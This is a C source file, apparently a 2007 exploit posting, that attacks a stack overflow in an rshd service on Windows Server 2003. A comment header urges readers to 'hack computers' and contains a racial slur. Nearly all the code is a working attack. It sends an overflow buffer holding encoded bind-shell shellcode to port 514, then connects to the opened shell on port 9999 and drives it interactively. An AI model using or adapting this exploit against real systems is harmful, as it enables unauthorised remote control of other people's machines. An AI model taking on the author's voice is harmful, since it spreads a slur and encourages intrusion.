190 lines
No EOL
6.3 KiB
C
190 lines
No EOL
6.3 KiB
C
/*
|
|
Attached and in-line is an exploit for a newly announced item on
|
|
the WabiSabiLabi auction block. I hope this completely devalues the
|
|
item so that the original finder dies of starvation.
|
|
|
|
DON'T SELL BUGS THROUGH WABISABILABLA
|
|
|
|
USE EXPLOITS TO HACK COMPUTERS INSTEAD
|
|
|
|
Exploit is for a stack overflow in http://rshd.sourceforge.net. It
|
|
took about 35 minutes to find the bug and exploit it on Win2k3
|
|
using the information provided to the public by WabiSabiLabi.
|
|
|
|
Expect exploits for the rest of the auction items in the next week.
|
|
Mayber sooner if Simon @ snosoft.com stops trying to cyber with me
|
|
LOLOLOLOLOLOL niggerdongs.
|
|
|
|
J
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <errno.h>
|
|
|
|
#define ESIZ 1 + 1 + 1 + 1 + 1 + 1028
|
|
|
|
int
|
|
main (int argc, char *argv[])
|
|
{
|
|
unsigned char win32_bindshell[] = // 9999 tcp
|
|
"AAAAAAAAAAAAA"
|
|
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
|
|
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x66"
|
|
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x76\x41\x32\x41\x41\x32"
|
|
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x79\x79\x4b\x4c\x32"
|
|
"\x4a\x7a\x4b\x42\x6d\x78\x68\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f\x75"
|
|
"\x30\x6e\x6b\x42\x4c\x45\x74\x71\x34\x6c\x4b\x41\x55\x57\x4c\x4e"
|
|
"\x6b\x33\x4c\x53\x35\x51\x68\x55\x51\x68\x6f\x4c\x4b\x72\x6f\x56"
|
|
"\x78\x6e\x6b\x61\x4f\x77\x50\x76\x61\x38\x6b\x52\x69\x4e\x6b\x36"
|
|
"\x54\x4e\x6b\x67\x71\x4a\x4e\x76\x51\x4f\x30\x6d\x49\x4e\x4c\x4d"
|
|
"\x54\x4b\x70\x41\x64\x43\x37\x4b\x71\x6b\x7a\x76\x6d\x54\x41\x4f"
|
|
"\x32\x7a\x4b\x6a\x54\x45\x6b\x33\x64\x56\x44\x77\x58\x34\x35\x6b"
|
|
"\x55\x4c\x4b\x61\x4f\x46\x44\x55\x51\x58\x6b\x31\x76\x6c\x4b\x46"
|
|
"\x6c\x30\x4b\x4e\x6b\x61\x4f\x75\x4c\x64\x41\x38\x6b\x53\x33\x54"
|
|
"\x6c\x4c\x4b\x6d\x59\x50\x6c\x64\x64\x55\x4c\x30\x61\x6b\x73\x74"
|
|
"\x71\x4b\x6b\x51\x74\x4c\x4b\x51\x53\x70\x30\x4c\x4b\x77\x30\x36"
|
|
"\x6c\x4c\x4b\x72\x50\x35\x4c\x4e\x4d\x6c\x4b\x73\x70\x57\x78\x31"
|
|
"\x4e\x42\x48\x4e\x6e\x50\x4e\x76\x6e\x5a\x4c\x30\x50\x6b\x4f\x49"
|
|
"\x46\x75\x36\x56\x33\x53\x56\x75\x38\x37\x43\x34\x72\x35\x38\x74"
|
|
"\x37\x54\x33\x44\x72\x63\x6f\x71\x44\x4b\x4f\x7a\x70\x42\x48\x38"
|
|
"\x4b\x38\x6d\x6b\x4c\x47\x4b\x30\x50\x4b\x4f\x4e\x36\x51\x4f\x4f"
|
|
"\x79\x4d\x35\x42\x46\x4b\x31\x7a\x4d\x33\x38\x57\x72\x76\x35\x61"
|
|
"\x7a\x46\x62\x4b\x4f\x6e\x30\x51\x78\x4b\x69\x67\x79\x59\x65\x6c"
|
|
"\x6d\x41\x47\x4b\x4f\x6e\x36\x41\x43\x56\x33\x76\x33\x52\x73\x70"
|
|
"\x53\x51\x53\x70\x53\x32\x63\x32\x73\x6b\x4f\x4e\x30\x41\x76\x62"
|
|
"\x48\x36\x47\x54\x4f\x41\x76\x72\x73\x4f\x79\x49\x71\x4e\x75\x31"
|
|
"\x78\x6e\x44\x67\x6a\x64\x30\x4f\x37\x70\x57\x69\x6f\x6e\x36\x70"
|
|
"\x6a\x74\x50\x62\x71\x73\x65\x4b\x4f\x38\x50\x62\x48\x4c\x64\x4e"
|
|
"\x4d\x64\x6e\x58\x69\x62\x77\x4b\x4f\x7a\x76\x50\x53\x51\x45\x39"
|
|
"\x6f\x58\x50\x71\x78\x6b\x55\x53\x79\x6f\x76\x53\x79\x36\x37\x39"
|
|
"\x6f\x79\x46\x72\x70\x61\x44\x33\x64\x62\x75\x59\x6f\x48\x50\x4a"
|
|
"\x33\x51\x78\x6d\x37\x71\x69\x79\x56\x71\x69\x70\x57\x6b\x4f\x6e"
|
|
"\x36\x51\x45\x69\x6f\x6e\x30\x45\x36\x63\x5a\x41\x74\x35\x36\x72"
|
|
"\x48\x30\x63\x50\x6d\x6f\x79\x59\x75\x63\x5a\x52\x70\x43\x69\x37"
|
|
"\x59\x58\x4c\x4f\x79\x79\x77\x52\x4a\x33\x74\x4d\x59\x39\x72\x55"
|
|
"\x61\x4f\x30\x7a\x53\x6d\x7a\x79\x6e\x47\x32\x76\x4d\x69\x6e\x47"
|
|
"\x32\x34\x6c\x6d\x43\x6c\x4d\x72\x5a\x54\x78\x4e\x4b\x4c\x6b\x6c"
|
|
"\x6b\x75\x38\x52\x52\x4b\x4e\x4e\x53\x55\x46\x79\x6f\x71\x65\x41"
|
|
"\x54\x59\x6f\x4e\x36\x43\x6b\x71\x47\x51\x42\x52\x71\x62\x71\x52"
|
|
"\x71\x51\x7a\x33\x31\x56\x31\x46\x31\x51\x45\x50\x51\x59\x6f\x4e"
|
|
"\x30\x50\x68\x4c\x6d\x6e\x39\x53\x35\x6a\x6e\x62\x73\x49\x6f\x5a"
|
|
"\x76\x50\x6a\x59\x6f\x4b\x4f\x34\x77\x59\x6f\x5a\x70\x6c\x4b\x32"
|
|
"\x77\x39\x6c\x6c\x43\x4b\x74\x61\x74\x6b\x4f\x6a\x76\x50\x52\x79"
|
|
"\x6f\x6e\x30\x42\x48\x7a\x4f\x6a\x6e\x59\x70\x63\x50\x42\x73\x4b"
|
|
"\x4f\x48\x56\x79\x6f\x4e\x30\x66";
|
|
|
|
char *buf;
|
|
int *ptr;
|
|
int i, c, sck;
|
|
struct sockaddr_in address;
|
|
struct hostent *hp;
|
|
|
|
if (argc < 2)
|
|
{
|
|
printf ("usage: %s address\n", argv[0]);
|
|
exit (-1);
|
|
}
|
|
// lsd-pl arrayd.c
|
|
sck = socket (AF_INET, SOCK_STREAM, 0);
|
|
bzero (&address, sizeof (address));
|
|
address.sin_family = AF_INET;
|
|
address.sin_port = htons (514);
|
|
if (0 !=
|
|
bind (sck, (struct sockaddr *) &address, sizeof (struct sockaddr_in)))
|
|
{
|
|
perror ("bind");
|
|
exit (-344);
|
|
}
|
|
if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
|
|
{
|
|
if ((hp = gethostbyname (argv[1])) == NULL)
|
|
{
|
|
errno = EADDRNOTAVAIL;
|
|
perror ("error");
|
|
exit (-1);
|
|
}
|
|
memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
|
|
}
|
|
if (connect (sck, (struct sockaddr *) &address, sizeof (address)) < 0)
|
|
{
|
|
perror ("error");
|
|
exit (-1);
|
|
}
|
|
buf = malloc (ESIZ);
|
|
memcpy (buf, "\x00\x41\x00\x41\x00", 5);
|
|
memset (buf + 5, 0x41, 1028);
|
|
memcpy (buf + 5, win32_bindshell, sizeof (win32_bindshell) - 1);
|
|
ptr = (int *) (buf + 5 + 1024);
|
|
*ptr = 0x71ae36b7; // call esi in wshtcpip in win2k3 SP1
|
|
write (sck, buf, ESIZ);
|
|
close (sck);
|
|
sleep (1);
|
|
|
|
sck = socket (AF_INET, SOCK_STREAM, 0);
|
|
bzero (&address, sizeof (address));
|
|
address.sin_family = AF_INET;
|
|
address.sin_port = htons (9999);
|
|
if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
|
|
{
|
|
if ((hp = gethostbyname (argv[1])) == NULL)
|
|
{
|
|
errno = EADDRNOTAVAIL;
|
|
perror ("error");
|
|
exit (-1);
|
|
}
|
|
memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
|
|
}
|
|
if (connect (sck, (struct sockaddr *) &address, sizeof (address)) < 0)
|
|
{
|
|
perror ("error");
|
|
exit (-1);
|
|
}
|
|
do_shell (sck);
|
|
|
|
}
|
|
|
|
// cvs_linux_freebsd_HEAP.c
|
|
int
|
|
do_shell (int sockfd)
|
|
{
|
|
while (1)
|
|
{
|
|
fd_set fds;
|
|
FD_ZERO (&fds);
|
|
FD_SET (0, &fds);
|
|
FD_SET (sockfd, &fds);
|
|
if (select (FD_SETSIZE, &fds, NULL, NULL, NULL))
|
|
{
|
|
int cnt;
|
|
char buf[1024];
|
|
if (FD_ISSET (0, &fds))
|
|
{
|
|
if ((cnt = read (0, buf, 1024)) < 1)
|
|
{
|
|
if (errno == EWOULDBLOCK || errno == EAGAIN)
|
|
continue;
|
|
else
|
|
break;
|
|
}
|
|
write (sockfd, buf, cnt);
|
|
}
|
|
if (FD_ISSET (sockfd, &fds))
|
|
{
|
|
if ((cnt = read (sockfd, buf, 1024)) < 1)
|
|
{
|
|
if (errno == EWOULDBLOCK || errno == EAGAIN)
|
|
continue;
|
|
else
|
|
break;
|
|
}
|
|
write (1, buf, cnt);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// milw0rm.com [2007-07-24]
|